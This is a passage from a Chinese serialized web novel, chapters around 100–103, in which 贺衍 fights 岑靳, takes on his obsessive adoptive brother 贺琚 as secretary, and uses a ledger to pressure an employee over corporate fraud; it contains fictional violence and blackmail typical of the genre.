岑靳看着忽然放大的脸,心脏像脱缰的野马一样狂奔。直到一记勾拳狠狠砸在他脸上,岑靳整个人踉跄后退了几步,他才下意识地抵挡住了贺衍的攻击。 贺衍动了下手指,指节发出“咔”的轻响。 岑靳先是错愕,随后低笑起来,他不仅没退,反而一步步逼近,气息几乎喷在贺衍脸上。 他躲过贺衍的膝踢,轻佻地笑着说道:“如果你能打过我,我就答应你一件事。” “好啊,说话算数。” 这种语气真是令人不爽啊,贺衍甩了甩手,冷笑了一声。 几个月了,他终于等到这一天。 贺衍眼底戾气骤起,他猛地抬膝撞向岑靳腹部,在岑靳躲开的瞬间,反手一拳砸到了他的脸上。 岑靳踉跄后退,嘴角渗出血丝。他舔了舔唇角的血,眼神反而更兴奋了,神色也渐渐认真了起来。 贺衍没给他喘息的机会,拳头再次砸了过去。 岑靳侧头躲过,拳风跟他的太阳穴擦肩。 灰蓝色的眼眸翻涌着复杂的情绪,岑靳猛地扑上来,拳头砸向贺衍,在贺衍后退的瞬间,一把掐住贺衍的脖子,将他狠狠撞在墙上。 贺衍后背剧痛,呼吸一窒。 岑靳一只手握住了贺衍的手腕,另一只牢牢地卡住了贺衍的脖子。 “贺衍,你特么还真想让老子死啊。” 灰蓝色的眸死死盯着贺衍,两人的身上都起了一层薄汗,胸膛剧烈起伏着,呼吸交错,鼻尖碰着鼻尖,唇瓣几近相触。 贺衍冷啧了一声,他的呼吸有些困难,喉咙艰难地滚动了一下,声音有些干哑:“我可,不想脏了自,自己的手。” 岑靳目光凝在他的脸上,目光炽热,如有实质般将他几斤吞噬。 汗珠滑入眼中,贺衍的眼尾洇出一抹潮红,他有些不适地眨了眨眼,那颗泪痣也随之轻颤。 岑靳低笑:“你还不认输吗。” 认输,认特么的输。 贺衍扯了下嘴角,眼眸闪烁,忽然抬脚狠狠踹向岑靳膝盖。 岑靳疼得闷哼了一声,脸色一白。 贺衍挣脱他的控制的瞬间,扣住他的手臂,一个反拧,直接卸掉了岑靳的胳膊。 几乎是眨眼间,他拽起岑靳的衣领,一记过肩摔将他狠狠砸在地上。 贺衍单膝压在岑靳的身上,手臂勒住了他的脖子。 岑靳的脸色涨红,眼白出现血丝,眼前黑了一瞬。 贺衍盯着他濒死的表情,眼底冰冷一片。直到岑靳瞳孔开始涣散,他才猛地松开手。 “咳——”岑靳剧烈咳嗽,大口喘息。 贺衍站起身,居高临下地看着他,抬脚狠狠踹在他肋骨上。 他的唇角还在滴血,唇色艳红,像是夺人性命的艳鬼。 “还记得我刚才说过的话吗?” 岑靳蜷缩在地上,疼得冷汗直流,全身的血液却炽热地沸腾。 他低低笑出了声,眼睛盯着贺衍,灰蓝色的瞳孔微微收缩。那双眼亮得惊人,连带着呼吸都急促了起来。 贺衍眸色中的厌恶之色愈发明显,他踩着岑靳的脸,带着侮辱性质地用力碾压。 “监狱,才是你这种垃圾最适合待着的地方。” 贺衍居高临下地睨着他,神色讥诮,但心中的郁气也不过消失了一少半。 他明明应该感到屈辱,但真TM是疯了。 岑靳喉结滚动,他抬眸望着贺衍,视线从贺衍的眼一直滑到他的唇,灰蓝色的眼眸深沉,翻滚着浓稠的欲念。 贺衍有些不适地蹙了下眉,他正准备移开脚。 岑靳还能动的那只手握住了他的脚踝,手指像烙铁般灼热。 贺衍眉梢染上了寒意。 “我输了。”岑靳忽然出声,“你要我做什么事。” 贺衍抽脚的动作停滞了一瞬,他收回脚,他垂眸看着岑靳:“带我去杭家。” 岑靳瞳孔微张,心脏不受控制地挤压收缩。 他的声音低哑干涩:“你的要求,就是去杭家?因为杭凌一?” 贺衍神色冷峻:“对,我的要求就是这个。” 岑靳撑着身子半靠在墙面,深邃的目光落在了贺衍身上。 他垂下了眼睛,擦掉了唇角的血,沉默着把错位的左臂接好。 “为了杭凌一吗?呵,你想见他?” 岑靳的语气怎么这么古怪,贺衍冷着脸,眉头蹙起:“你不清楚他——” 贺衍扯了扯嘴角,唇瓣嗫嚅,终究是没有说出“死”这个字。 “对,我想见他。” 岑靳撑着身体站了起来,额角的血液顺着眼角流下,他有些眩晕了,过了一会儿才站直身体。 身体的疼痛对他来说并不算什么,但心脏却后知后觉的剧烈绞痛起来,让他想大口呼吸都感觉困难。 低垂的眼眸缓缓抬起,落在了对面的人身上。 原来是为了杭凌一。 为了杭凌一。 杭家最近拒绝了所有人都拜访,贺衍见不到杭凌一,所以—— 岑靳扯了下嘴角,牵动了伤口。 他忽然自嘲地笑了下,唇角抿直:“好。等我通知你。”【你现在阅读的是 】 100-110 第101章 第 101 章 “哥哥,可以奖励我吗…… 第101章 电脑屏幕上, 是淮新开发区项目负责人施叙林的资料。 但他目前并不在岗,正在休年假,请假时间, 就在贺忠载去世后不久。 这个时间点可真巧。 贺衍拿起手机, 拨通了施叙林的电话。 “喂,谁啊?”电话那头传来懒散的声音, 背景音嘈杂,隐约还能听到一群人嬉戏玩闹的笑声。 淮新开发区项目预计动工的时间是在今年二月初,但现在已经过了一个多月,这个项目到现在为止依旧毫无动静。 贺衍声音冷淡:“施叙林,淮新开发区项目的项目总监。为什么这个项目到现在都没有开工, 我需要你解释。” 电话那头沉默了几秒, 施叙林终于意识到对面的人是谁, 但他的语气没有丝毫改变:“贺总,我现在外面度假呢,下个月我就回去了。公司的事等我回去再说吧。” “下个月才回来?”贺衍眯了眯眼, “项目停工,你倒是有闲心休假。” 施叙林继续敷衍着说道:“贺总, 项目的事我也不清楚,我就是个挂名负责人, 具体操作都是上面安排的。” 他一定是知道一些东西, 施叙林如此有恃无恐, 背后又是谁在给他撑腰。 贺衍指尖轻叩桌面, 眼眸闪烁:“上面?哪个上面?” 施叙林似乎意识到自己说漏嘴了,立刻改口:“啊,我的意思是,流程上的事得按章程来, 我之前都是听老贺总的吩……” 贺衍直接打断了他:“如果明天我不能在公司看到你,那之后你也可以不用来了。” 他靠回椅背,揉了揉太阳穴。就在这时,办公室的门被轻轻叩响。 人事部总监宁金水推门而入,脸上挂着职业化的微笑:“贺总,我看您现在不是缺一位秘书,所以想着向您推荐一个人。” 宁金水看着头也没抬的贺衍,再想到门外站着的另一位贺少爷。 额头上瞬间就冒出了冷汗,他咽了下唾沫,继续说道:“您最近不是在查开发区的项目,这个人,他,他之前经常跟着老贺总跑业务,对这个项目也很了解。所以您要是觉得合适,可以跟他见见面。” 贺衍这才抬眼,目光冷淡地扫向他:“有简历吗?” 宁金水松了一口气,立刻侧身让开一步:“人已经带来了,您可以直接面试。” 贺衍眉头微蹙,刚想说什么,办公室的门再次被推开。 一道修长的身影迈步而入,西装笔挺,唇角含笑地看着贺衍。 宁金水和贺琚站在一起,本来正常的身材看着像是莫名断了一大截,很是滑稽。 “贺总好。”贺琚微微颔首,眉眼含笑,“我是来应聘您的秘书的。” 怪不得刚才感觉有些不对,贺衍的眼神瞬间冷了下来。 办公室里的空气仿佛凝固了一瞬。 “你什么意思?”贺衍抬眼看向宁金水,声音平静,但宁金水却浑身一激灵。 他干笑两声:“贺琚少爷说……他对这个职位很感兴趣,而且能力也足够胜任……” “出去。”贺衍打断他。 宁金水如蒙大赦,立刻低头退了出去,临走前还不忘把门关上。 办公室里只剩下贺衍和贺琚两人。 贺琚单手插兜,慢悠悠地走到办公桌前,俯身撑在桌面上,笑意盈盈地看着贺衍:“哥哥,不面试一下我吗?” 贺衍冷冷抬眸:“你又玩什么把戏?” “怎么能说是玩呢?”贺琚无辜地眨眨眼,“我是真心实意来应聘的。” 贺衍盯着他看了两秒,突然嗤笑一声:“贺琚,你什么时候缺工作了?怎么,演戏没意思了吗?” “缺是不缺。”贺琚歪头,笑容加深,“但哥哥身边的位置,我更感兴趣。” 贺衍眼神一寒。 贺琚像是没察觉到他的冷意,自顾自地继续说道:“而且,我对贺氏的业务也很熟悉,做你的秘书,可以帮哥哥很多忙。” “不需要。” 贺衍干脆利落地拒绝了他。 贺琚低笑,忽然走到贺衍身侧,指尖轻轻点了点贺衍面前的文件夹:“哥哥,你最近在查淮新开发区这个项目吧?” 贺衍眸光微动。 贺琚俯身凑近,呼吸几乎拂在贺衍耳畔:“我可以帮你。” 贺衍侧头避开,冷声道:“条件?” 贺琚忽然对着贺衍眨了眨眼:“我的要求很低的,只要哥哥——” 贺琚拉长了音调,尾音轻扬:“只要哥哥给我一个吻。” 贺衍的神色冷了下来,他拽住贺琚的领带,猛地收紧领带:“你找死?” 贺琚被迫前倾,喉结在勒紧的束缚下艰难滚动,呼吸变得急促而破碎。 贺衍眸色变暗,眉宇间满是寒意。 贺琚只是笑着,没有任何挣扎的动作。呼吸被遏制,他的脸颊因缺氧泛起薄红,眼尾却弯起愉悦的弧度。 “或者,换个条件?”贺琚从唇缝里挤出气音。 贺衍面无表情地说道:“什么条件?” 贺琚的瞳孔因窒息微微扩散,他忽然低笑起来,喉结在贺衍掌边震颤。 真是个疯子。 贺衍猛地松开手。 贺琚踉跄着扶住办公桌,仰头时眼里漾着潋滟水光:“每天摸一下我的头……我就帮哥哥。” 贺衍盯着他看了几秒,突然冷笑:“贺琚,你是不是觉得,我非选你不可?” 贺琚唇角的笑意扩大:“那倒没有。” 他顿了顿,语气忽然认真了几分:“但当初那个项目是我跟着父亲一起去的,所以哥哥有什么想问的,我都可以告诉哥哥。” 贺衍眸光微闪。 办公室陷入短暂的寂静。 “试用期一周,不合格就滚。” 贺琚的眼睛瞬间亮起来:“遵命,贺总。” 第二天,施叙林就带着一沓文件来到了办公室。 他昨晚可是连夜打听了,这位小贺总现在手下可是一个兵都没有。 新官上任三把火,施叙林还没摸清这个新领导的路数,万一要真是先拿自己下手。 反正无论如何,这面子他总要给足。 施叙林对着贺衍讨好地笑了下:“贺总,这些都是关于开发区那块地的资料。” 贺衍挑了下眉:“放桌子上吧,你倒是回来得挺快。” 这位小贺总不过是一个从小地方来的还不到二十岁的年轻人,他可不认为他能有什么能耐。 施叙林心里虽带着几分轻蔑,但表面上的态度依旧十分恭敬谦卑。 贺衍示意他把文件放到桌面上。 淮新开发区项目的每一份审批文件都盖着鲜红的公章,全部的手续流程在去年五月份就已经完成。 贺衍翻动文件,在看到资金明细表的时候,瞳孔微微收缩。这块地皮的购置费用只有一亿不到,但是政府征收的补偿费用却高达十二亿。 即使最后这个项目没能按期交付,违约金也不过是一个亿,贺氏集团根本无需动工,就能稳赚十个亿。 而且,这个账本里记载的不仅有淮新开发区这个项目,还有近三年来其他项目的各种资金往来。甚至里面还加了一张施叙林私人银行账户的流水。 贺衍表情未变,但指尖却下意识地颤了下。 施叙林不可能也没有资格拥有这个账本,更不可能把他的银行账户情况给自己。 他微微敛眸,继续翻看。 贺氏集团近些年的项目,全都是一些低买高补,稳赚不赔的买卖。但因为后期的烂尾和拖欠,导致公账上银行流水跟不上去。 但实际上的纯利润,即使算上给那些政府高官的贿赂,也不会是一笔小数。 贺衍微微敛眸,这种套取政府资金的灰色交易,现任的总统清楚吗。 自从前年裴屷与贺琚解除婚约,裴家对贺氏的态度就变得不冷不热,甚至可以说成关系破裂。如果能联系上裴屷,他或许还有机会见到裴行赫。 但罗彰勋作为裴行赫的秘书,十几年来深得他的信任。而自己手里握着的那些资料,都是扫描文件,并非一手证据。 如果那份“绝密”的文件本就是裴行赫授意,那他把这些资料交给裴行赫,无异于自投罗网。 在没有确定的把握之前,他不能轻举妄动,也不能向任何人暴露U盘的事情。 他不能让杭凌一的努力白费。 贺衍眸色暗了下去,压下心底的焦躁。 施叙林沉默地站在办公室内,贺衍没让他走也没让他留。 现在已经过去快要半个小时了,施叙林已经站得腿麻了。但这位小贺总却还在一份一份,一页一页地翻看各种文件。 不过一个从来没有学过也没有接触过相关知识的门外汉,他不会真的能看出什么门道吧。 施叙林忽然有些慌了,额头上开始冒汗。 贺衍不着痕迹地看了他一眼,翻开另一份文件,又开始逐字逐句地看起来。这些文件里的财务部分,他能看懂的的确不多,但不妨碍他装作能看懂的样子。 施叙林已经不清楚自己在这里站了多久了,他的脚已经麻到没有知觉了。 贺衍终于合上了文件,漫不经心地抬眸扫了施叙林一眼,轻飘飘地来了一句:“你怎么不坐那里。” 施叙林肚子里憋着一团气,但还没等他真的坐下去休息,就听见这位小贺总又开口了。 贺衍盯着他,眉梢忽然挑了一下:“我看过你的资料,贺氏集团大大小小的项目你基本都参与过,也算是公司的老人了。我现在有一点很好奇,要是项目延期没有完成,那些违约金,是谁来出?” 贺衍扬了扬唇角,眼里却没有丝毫笑意。 “你来出吗?” 真是外行人,什么都不懂还看那么久。施叙林心里骂街,但是依旧强撑着笑容解释道:“贺总,项目延期在建筑行业很常见,主要是受政策调整和资金周转……” “是吗?”贺衍不紧不慢地问道:“那你能解释一下,为什么这个项目里政府补偿款比地价高出十倍以上,这些钱最后进到谁的腰包里去了呢?” 施叙林的膝盖开始发抖,他忽然睁大了眼睛,看着贺衍手中那个账本,喉结艰难地滚动了一下。 他让助理收拾的文件资料里,根本没有真正的内部账本,现在怎么会夹在这一堆文件里? 施叙林呼吸一滞,他吞咽了一下口水,后背瞬间冒出一层冷汗。 “我……我不太清楚具体的财务……” “不清楚?” 贺衍突然将账本重重合上,在寂静的办公室里发出“啪”的一声响。 施叙林被吓得浑身一颤。 “你说,如果我把你告到法院,说你私自挪用公款、伪造账目,你觉得法官会判多少年?” “就算上面是我编造的,”贺衍声音很轻:“但你说,法官是会站在你那边还是我这边?” 施叙林的后背已经完全湿透,嘴唇不受控制地颤抖着:“贺、贺总,这其中一定有什么误会……” 贺衍从文件里抽出一张银行流水单:“那这个账户里的两千万,也是误会?” 施叙林双腿一软,差点跪倒在地。 “我可以解释的——” 贺衍掀起眼皮,冷冷地打断了他:“我需要的不是你的解释。” 施叙林面如死灰,忽然,他意识到了什么,他立刻说道:“您想让我做什么,我都可以。” “记住你说过的话。” 施叙林推开门离开,还没走几步,整个人都往后缩了一下,还没平缓的心又开始剧烈狂跳。 “贺,贺琚少爷,您怎么在这里?” 贺琚垂眸看着他,忽然笑了下:“施总监不知道吗,我现在是贺总的秘书。” 施叙林半点小心思都没有了,他呆滞地点头,脚步匆匆地离开了顶层。 办公室的门再次被推开了。 贺琚走到贺衍面前:“哥哥,你吓到那只小老鼠了?” 贺衍没有理会他的调侃,他指尖落在账本上,抬眸看向贺琚:“这是你塞进来的。” 贺琚声音含笑,尾音勾人:“哥哥还满意吗?” 贺衍随意地点了点头:“多谢。还有,你语气能不能正常一点。” 贺琚眼睛瞬间亮了起来,他根本没在意后面那句话。 他微微俯身,随后单膝跪在了贺衍面前,用那种虔诚又痴迷的眼神看着贺衍。 贺衍神色一僵,脑海中忽然闪现过什么,记忆的碎片瞬间涌入大脑。 梦境和现实瞬间重合。 贺衍心底一阵烦乱,他之前怎么会做这种梦。怒意从眼底冒出,他瞬间脱口而出:“贺琚,你脑子有病——” 贺琚凑近了他,眼中满是炽热与渴望:“那哥哥,可以奖励我吗?” 贺琚又凑近了一些,几乎贴到了他的腿边。他垂着头,眼底闪过压抑的、近乎病态的欢愉。 温热的触感让贺衍瞬间回神,他僵硬地伸出手,在贺琚地头上胡乱摸了两下。 贺衍不耐烦地说道:“好了,起来吧。” 头上的触感已经消失了,但贺琚却瞬间失了神,忘了怎么呼吸,心脏里充斥的愉悦一阵阵膨胀,挤得他喘不过气。 第102章 第 102 章 你又是什么身份 第102章 贺琚坐在沙发上, 托着下巴看着贺衍:“哥哥,除了这些项目,就没有别的东西想要问我了吗?” “哥哥对贺氏集团其他的方面感兴趣吗?前年我去姆扎州了一趟, 和俞杉集团也谈成了一桩生意, 打算跟俞杉集团下面的子公司一起投资一家大型连锁酒店……” 贺衍翻看文件的动作停滞一瞬,他头也没抬:“闭嘴。” 贺琚鼓了下脸颊, 做了个拉拉链的动作,闭上了嘴。但没过一会儿,贺琚又站了起来,走到贺衍的桌前。 他半趴在办公桌上,目光扫过桌面上的那些文件。 这些是近些年贺氏集团和政府相关的各类合作项目, 最早的可以追溯到十几年前。不过他只参加过去年的淮新开发区这一个项目。 贺氏集团的内部并不干净, 这些项目的勾勾绕绕也很多, 贺琚对其中某些部分的利益输送还算清楚。 但是,哥哥为什么对这些和政府相关的项目这么在意呢。 他很想问这个问题,但直觉又在告诉他, 最好不要问,因为问题的答案或许不会让自己开心。 可他实在太好奇了。 贺衍视线越过桌面的文件, 落在了贺衍的正在翻阅的纸页的指尖上。 真无聊啊。 他微眯了下眼,喉结滚动, 这双手, 不应该碰这些死物—— 贺琚百无聊赖地推了推桌角的那一摞文件, 试图引起贺衍的注意。 但那人垂着头, 连眼神都没有扫过来一下。 “贺总。”贺琚轻声低语,缠绵又蛊人,“与其看这些文件,还不如看我——” 贺衍拿起文件夹就往贺琚头上拍了一下, 丝毫没有收敛力气。 贺琚疼得揉着头,轻嘶了一声。 “哥哥还真是不会怜香惜玉。”贺琚嘟囔着嘴抱怨着。 贺衍眉头压低:“你现在还在试用期,如果不想被解雇,就闭嘴。” 这些政府批文都没有什么问题,也不可能会存在问题。 但贺氏集团承建的政府建筑,几乎囊括了联邦政府的各个重要部门。贺家拥有各大州市市区政府大楼所有的内部平面地图。 贺衍的指尖无意识地摩挲着文件边缘,他的呼吸微微一滞。 如果有人利用这些图纸—— 贺琚注意到他的异常:“哥哥在想什么?” 贺衍扫了他一眼:“我一直没来得及问你,你为什么不愿意继承贺家?” 贺琚脸上的笑意渐渐淡去,他直起身子,手指轻轻抚过办公桌边缘,像是在思考该如何回答。 “哥哥真的想知道?”他抬眸,眼底闪过一丝晦暗的光。 贺衍没有回答,只是静静地看着他。 办公室陷入短暂的沉默。 就在贺琚准备回答的时候,办公室的大门处传来了敲门声,何眷蓉的声音隐约从门外传来。 贺琚眼底闪过一丝被打断的不悦:“哥哥,要开门吗?” “等一下。” 贺衍把桌面上的文件整理好,才示意贺琚开门。 何眷蓉双手环胸,已经等得有些不耐了。听到门转动的声音,她连忙调整自己的表情。 “小衍,妈妈——” 何眷蓉的笑容一下子僵在了脸上:“贺琚,你怎么会在这里。” 贺琚勾起唇角,垂眸看着何眷蓉:“妈妈难道不清楚吗?我现在是哥哥的秘书。” 何眷蓉的目光在贺琚和贺衍之间来回扫视,笑容变得僵硬,眼底的怒意几乎快要冒出来。 她之前怎么不知道,贺琚和贺衍的关系这么好,居然还来给贺衍秘书,当初她那么恳求贺琚来公司上班,他一次都没有答应。 “贺琚,你不是说对这些商业上的事情没兴趣吗?” 贺琚懒洋洋地靠在门框上,唇角挂着玩味的笑:“人是会变的,妈妈。” 何眷蓉的脸色白了一瞬,她深吸了一口气,努力维持着温柔的语气:“小琚,妈妈有事情要和贺衍谈一谈,你能先出去一下吗?” 贺琚扬起唇瓣,在何眷蓉期待的目光中摇了摇头:“抱歉呢,妈妈。” 贺衍走到两人身边:“贺琚,你先出去。” 果然还是亲儿子更亲,何眷蓉不再管贺琚,走到屋内的沙发上坐下。 “哥哥,你让我出去?”贺琚眼睛睁大,有些不敢置信地看着贺衍,模样无辜又惹人怜爱。 贺衍抬眸扫了他一眼:“在外面待着,别乱跑。” 贺琚眨了眨眼,狭长的眉眼忽然舒展了开来,他乖乖地点了点头。 “小衍,上次是我说话重了,可你也不应该一生气就不回家住啊。”何眷蓉拿着手帕轻轻沾了沾眼角,眸中的泪花闪烁。 贺衍坐在她的对面,语气平静:“有什么事,您直接说。” 何眷蓉的声音中带着藏不住的心碎和悲痛:“小衍,你怎么能这么想我呢,我来就是看看你。” 贺衍抬眸,语气平静温和,但却不容置疑:“如果没事,那您就先请回吧。” 这感情牌怎么也没什么用,何眷蓉的手指绞紧了手中挎包的链条:“其实,我这次来,还是想要和你讨论一下公司里几个项目的处置问题。现在资金周转困难,我觉得可以卖掉——” “卖掉哪个项目?” 何眷蓉:“当然是那些亏损的。” 贺衍并没有直接拒绝:“您把您想卖掉的那些项目的资料拿给我,我会考虑的。” 何眷蓉的眼睛瞬间亮了起来,她从包里掏出文件,微笑着说道:“我已经准备好了,这几个项目亏损严重,早点脱手对我们更有利。” 贺衍接过文件,他稍微翻了一下,眸色暗了暗。 何眷蓉虽然是贺氏集团的股东,但之前从未参与过公司的管理。 她怎么可能在短短一个多月的时间内,突然对贺氏集团内部的所有项目了如指掌,甚至特别筛选出这些可以直接套取大量现金的优质项目。 除非有人在帮她做出这些选择。 这个人不会是钱清荣,他是在贺忠载去世之后才被何眷蓉破格提拔,之前不过是分公司的财务经理,他不会知道这么清楚。 最有可能的人选只能是贺叁。 贺壹和贺叁之前一直都是贺忠载的心腹,贺壹的级别还要比贺叁要更高一点。但现在,贺壹虽然还是贺家管家,但地位与之前相比,却是天差地别。 贺叁绝对清楚贺忠载身亡的实情,而现在他选择站在何眷蓉这边。 那他究竟是在利用何眷蓉还是真心实意。 贺衍垂眸看着手里的文件,随后将其放在了一旁。 他的语气平静得让人捉摸不透,“我会仔细看的,一周后给您答复。” 何眷蓉的笑容僵了一瞬:“一周?小衍,现在情况紧急,银行那边……” 贺衍突然抬眸:“您就这么着急要钱?” 办公室里的空气瞬间凝固。 何眷笑了下,她将碎发别到耳后:“怎么会呢。小衍,那你好好考虑,妈妈等你的答复。” “对了,贺琚什么时候成为你的秘书了。”何眷蓉很快换了话题,“这孩子上次还说,对公司根本一点兴趣都没有呢。” 谁知道那个疯子心里想什么,贺衍扯了下嘴角:“您可以亲自问他。” 何眷蓉噎了一下,她微眯了下眼,难道是贺衍用了什么手段威胁贺琚。不然,她实在很难想象,贺琚连公司都不愿意继承,却愿意来给贺衍当助理。 她对着贺衍嘘寒问暖了一番,很快离开了办公室。 贺琚正趴在走廊的窗户上发呆,阳光透过玻璃洒在他身上,侧脸线条精致得如同艺术品,长睫在眼下投下一小片阴影。 他的薄唇微微抿着,透着一丝难以接近的疏离感。 “小琚,和妈妈聊聊吧。”何眷蓉放柔了声音,“自从你去拍戏,我们母子之间已经很久没有谈过心了。” 贺琚眉眼弯弯,唇角弯起完美的弧度,眼底却一片冰凉。 他和何眷蓉什么时候真正谈过心呢。 贺琚记得很清楚,小时候的自己并不讨人喜欢,他那时候性格很孤僻,不爱和别人交流。 碍于家世,没有人敢真正欺负他,那些孩子也不敢真的动手,却会用天真的残忍在他耳边窃窃私语。 “你爸妈长得和你一点都不像,你肯定不会是他们的亲生孩子。” “你爸爸妈妈从来没有接过你放学,他们一点都不爱你,你肯定是从孤儿院被抱回来的。” 记不清是几岁了,他偷偷收集了贺忠载和何眷蓉的头发,做了亲子鉴定。结果发现,他跟这两个人的确没有关系。 好像是后来他变得优秀之后,才被何眷蓉带着出席各种宴会。 看着何眷蓉的脸上温和的笑容,贺琚睫毛微垂,遮住了眼底的嘲意。 他唇角弯了下:“好啊,妈妈。” 何眷蓉推开一间休息室的大门。 两人走了进去。 同一时间,贺氏集团一楼。 前台的工作人员不经意地抬头,突然看到了出现在大厅的男人。 那个人似乎也察觉到了她的目光,蓦然抬头看向她。男人面无表情,深邃的眼窝天然带着深情,但整个人却看着十分阴鸷。 她下意识屏住了呼吸,浑身冰冷。她还记得这个人,前几天刚来过,是老板的朋友。 “咳,先生,您有预约吗?” 贺氏集团顶楼,贺衍手里正转着钢笔,在纸上勾勾画画。 座机电话忽然响了起来。 五分钟后,办公室的大门被敲响了。 岑靳推门而入。 贺衍抬了下眼皮:“其实你没必要亲自过来,打个电话就好。” 岑靳扯了下嘴角,轻呵了一声:“我乐意来。” “什么时候去杭家?” “你除了这个没别的想说的吗?”岑靳凑近了贺衍一些,双手按在桌面上,灰蓝色的眼睛暗了些许。 贺衍的目光上移,语气冷淡:“用什么理由去?” 岑靳揉了揉头发,轻啧了一声坐到了沙发上,不再看贺衍。 贺衍也没理他。 岑靳目光一寸寸冷了下来,额角的青筋暴起,眼神阴鸷了一瞬。但很快,目光又瞬间软了下来。 岑靳啧了一声,他跟贺衍计较什么呢,不是早知道,这家伙根本不会给自己好脸色。 他就算再生气,贺衍也不会分过来一份视线。 他的目光忽然凝在了茶几上,怎么有两个茶杯。刚才有谁来这里了吗? 岑靳环视四周,这里好像有一些地方和上次不一样了。他明明记得,上次办公室的休息区里,可没有这些山茶花。 贺衍喜欢山茶花?岑靳蹙眉,他怎么不记得有这回事。 岑靳像只被主人冷落的大型犬,不情不愿地挪到了贺衍身边。 那双灰蓝色的眼睛暗了暗:“贺衍,你就这么不想看见我?是我在帮你,你的态度就这么冷淡。” “我态度积极了,你就会开心了?”贺衍掀起眼皮看了他一眼,指尖轻轻敲击桌面,“别废话了,说正事。” 岑靳深吸一口气,烦躁地扯松领带:“杭家现在闭门谢客,杭凌一的电话也打不通——” 贺衍打断了岑靳:“你刚才说什么,什么杭凌一的电话。” 岑靳接触到贺衍的目光,神色忽然愣住了,他怎么这么慌,他刚才说错了什么话吗。 岑靳也有些慌了,他有些无措地看着贺衍:“我刚才就是说,杭凌一的电话打不通,所以我就给伯母打了电话,明天下午文可以带你去杭家。” 贺衍站了起来,他定定地看着岑靳,心脏跳动的频率加快,唇瓣轻颤:“岑靳,杭凌一没死吗?” 岑靳的瞳孔猛缩:“你怎么会这么想?” 贺衍缓缓地坐下去,指尖却还在发麻,他深吸了一口气,勉强平缓情绪。 “两周前,我接到了卢图市第一医院的电话,他们说杭凌一因为车祸去世了。” 他的声音平静,岑靳的心脏却不自觉地一颤。 贺衍眸中的神色黯淡,他抬眸看向岑靳:“所以,杭凌一没死对吗?” 他虽然不清楚具体时间,但的确是两周前才传出杭家闭门谢客的消息。 岑靳垂眸看着贺衍,可他最近并没有见过杭凌一,他也不能给出贺衍一个确切的结论。 “我不清楚。贺衍,你想要去杭家的原因,是为了探清杭凌一有没有去世?” 贺衍嗯了一声。 岑靳眸底划过几分自嘲,他可真是一个恶劣的人。在知道这件事的时候,第一反应居然不是为杭凌一感到难过,而是窃喜。 “明天下午具体的时间是什么时候?”贺衍出声,声音已经恢复了平静。 顶层的休息室。 何眷蓉轻柔慈爱的目光落在了贺琚身上。 贺琚的声音轻得像羽毛:“您想聊什么?” 何眷蓉压低声音:“小琚,妈妈是担心你。贺衍突然回来接手公司,又把你留在身边当秘书,谁知道他打的什么主意?” 贺琚突然笑了,笑声清脆动听:“我知道啊。” 何眷蓉一时没能反应过来:“知道什么?” “我知道哥哥在利用我。”贺琚歪着头,眼神天真又残忍,“但我愿意啊。” 何眷蓉倒吸一口冷气:“你疯了?当初让你继承贺家你不愿意,现给贺衍当秘书你就愿意了?!!” “那又怎样?” 贺琚睫毛轻颤,眼底浮现几丝真心的笑意:“我很早之前就喜欢哥哥了,在圣洛莱索的时候就喜欢他了,母亲难道不清楚吗?” 何眷蓉的脸色瞬间变得惨白,她语气加重,忽然提高了语调:“贺琚!可你那时候根本不知道你们没有血缘关系,你那时候就喜欢贺衍,你——” 何眷蓉的胸腔剧烈起伏起来,她大脑一阵眩晕:“你这是乱——” “可我的确不是您的亲生儿子,和哥哥也没有血缘关系。”贺琚轻声打断她,露出一个甜美的笑容,“我好像没有告诉您,我在很小的时候就知道这件事了。” 何眷蓉如遭雷击,精心保养的面容瞬间扭曲。 “所以您看,”贺琚的声音轻快,“我和哥哥又没有血缘关系,我喜欢他有什么问题?” “你……你……”何眷蓉的声音发抖,“贺衍知道吗?” 贺琚的眼神暗了暗,随后笑容变得甜蜜:“哥哥当然知道,不然怎么会让我当他的秘书呢。” 他忽然凑近何眷蓉,在她耳边轻声道:“重要的是,您最好别妨碍我。否则您和钱清荣的那些事,明天就会出现在各大媒体的头条上。” 贺琚看着何眷蓉仓皇离去的背影,他转身望向贺衍办公室的方向,眼神温柔得近乎病态。 办公室大门被推开,怎么没有反锁,贺琚唇角的笑意收敛,眸中闪过些许疑惑。 岑靳低声轻语,温柔的神色柔和了锋利的棱角:“明天下午三点,我来接你。” 贺衍没有得到自己想要的肯定的答案,只是垂着眸点了点头。 岑靳话音刚落,便见门外出现了一个身影,他眉头压低,神色瞬间阴鸷。 “你怎么会出现在这里?”岑靳冷然出声,气势逼人。 贺琚笑意不见眼底,墨色的眼眸翻滚着恶意:“我是哥哥的秘书,你又是什么身份?” 第103章 第 103 章 “杭凌一?!”…… 第103章 岑靳斜倚在贺衍的办公桌边沿, 领带松松垮垮地挂着,他的一只手虚搭在贺衍的办公椅上。 但从贺琚这个角度看过去,岑靳几乎将贺衍搂在了怀中。 他们两个刚才在聊什么, 为什么这么亲密。贺琚眼底的黑意愈发浓厚, 真是碍眼啊,他为什么还在哥哥身边阴魂不散。 贺琚一步一步地走进屋内, 他绕过办公桌,走到了贺衍的身侧。他微微弯腰,手搭在了扶椅的另一侧,侧眸望着贺衍。 贺琚唇角微微扬起,狭长的眉眼微弯, 天然带着勾人的意味, 他笑吟吟地看着贺衍, 表情矜娇,他轻声说道:“哥哥,能不能让无关的人离开这里啊, 我有很重要的事情要和哥哥说呢。” 岑靳听到这话冷啧了一声,他正想嘲讽, 却看到贺衍伸手挡住了贺琚更前一步的动作。唇角的嘲讽变成了一抹得意的嗤笑:“贺衍,你告诉他, 谁才是那个该滚出去的人。” 但贺琚并没有停下动作, 他握住了那只手, 将脸贴在了贺衍的手上, 微卷的发丝从贺琚的额前垂落,擦过了贺衍的手背,传来酥麻的触感。 贺衍眉头一拧,不耐烦地抽回了手。 “你们要是想吵, 那就都出去吵。” 但贺琚一个不稳,踉跄着往前跌了一下。他的左手不经意推了座椅,滑轮转动,椅背留给了岑靳。 贺衍本想站起来,但是岑靳站在那里完全挡住路,只能任由不偏不倚恰好落到了自己的怀中。 岑靳看清了这小子的把戏,脸瞬间黑了下来。他的路完全被贺琚的动作堵死了,椅背挡住了他。 岑靳冷着脸扯了下嘴角,绕到了办公桌的另一边。 贺琚这时却将脸埋到了贺衍胸前,他的手环住了贺衍的腰,越抱越紧,几乎要把自己嵌入贺衍身体内。 贺衍低头看着贺琚,他自己也是男人,自然也懂男人的劣根性。 这两个人不见得有多喜欢自己,不过是因为没有彻底征服,所以才心有不甘。 